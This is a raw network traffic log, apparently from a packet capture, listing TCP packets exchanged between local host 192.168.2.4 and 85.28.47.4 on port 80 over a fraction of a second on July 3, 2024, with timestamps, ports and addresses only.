Jul 3, 2024 23:59:08.149571896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149621010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149631977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149641991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149662018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149684906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151242971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151254892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151264906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151283979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151285887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151295900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151307106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151329994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151340961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151407957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151424885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151434898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151452065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151477098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151525021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151536942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151546955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151566982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151578903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151643991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151655912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151680946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151691914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151734114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151745081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151755095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151766062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151773930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151776075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151787996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151818037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.151941061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151952982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151962996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151973009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151983976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.151984930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152004957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152028084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152318001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152327061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152363062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152368069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152406931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152442932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152453899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152463913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152484894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152497053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152499914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152507067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.152512074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.152545929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153326035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153336048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153345108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153364897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153371096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153382063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153383970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153408051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153410912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153423071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153423071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153450966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153459072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153522015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153532982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153543949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153563023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153588057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153618097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153630018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153639078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153657913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153676987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153700113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153711081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.153738022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.153764009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157504082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157524109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157533884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157543898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157561064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157571077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157593966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157605886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157634020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157653093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157665968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157676935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157685995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.157705069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.157721996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158097029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158116102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158127069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158138037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158149004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158165932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158176899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158188105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158198118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158216953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158237934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158258915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158288956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158297062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158299923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158327103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158338070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158355951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158368111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158406973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158410072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158418894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158446074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158456087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158477068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158488035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158515930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158539057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158571959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158582926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158592939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158607006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158610106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158617973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158618927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158637047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158648968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158721924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158735037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158744097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.158766031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.158777952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241544962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241556883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241570950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241595984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241605997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241612911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241619110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241632938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241647959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241672039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241718054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241729021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241764069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241812944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241823912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241833925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241853952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241866112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.241950035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241961956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241971016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.241991997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242008924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242090940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242106915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242117882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242127895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242131948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242141008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242151022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242165089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242192030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242275000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242286921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242317915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242322922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242333889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242369890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242470026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242480993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242491007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242501020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242511988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242512941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242538929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242551088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.242563009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.242604017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243266106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243307114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243311882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243323088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243351936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243388891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243401051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243412018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243429899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243449926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243515015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243526936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243536949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243546963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243551970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243555069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243580103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243602037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243711948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243722916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243733883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243742943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.243753910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243766069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.243789911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245193005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245239973 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245246887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245250940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245285034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245296001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245305061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245307922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245318890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245336056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245353937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245378017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245407104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245419025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245445967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245457888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245491028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245502949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245534897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245574951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245587111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245620012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245655060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245666981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245676994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245685101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245696068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245723963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245765924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245806932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245836020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245847940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245857000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245868921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245879889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.245879889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245903969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245915890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.245997906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246043921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246289968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246330023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246390104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246400118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246417999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246431112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246432066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246454000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246471882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246485949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246501923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246515036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.246526957 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246562004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.246572971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247350931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247390985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247414112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247426033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247452021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247462034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247467995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247478962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247489929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247507095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247523069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247545958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247584105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247586966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247622013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247628927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247641087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247649908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247668028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247684956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247739077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247750998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247761011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247770071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.247778893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.247807980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251494884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251517057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251549959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251563072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251573086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251635075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251643896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251655102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251665115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251679897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251693010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251710892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251713037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251723051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.251750946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.251773119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252214909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252259016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252262115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252274036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252299070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252306938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252337933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252343893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252372980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252382994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252382994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252407074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252429008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252471924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252487898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252501011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252510071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252511024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252523899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252530098 CEST	49730	80	192.168.2.4	85.28.47.4
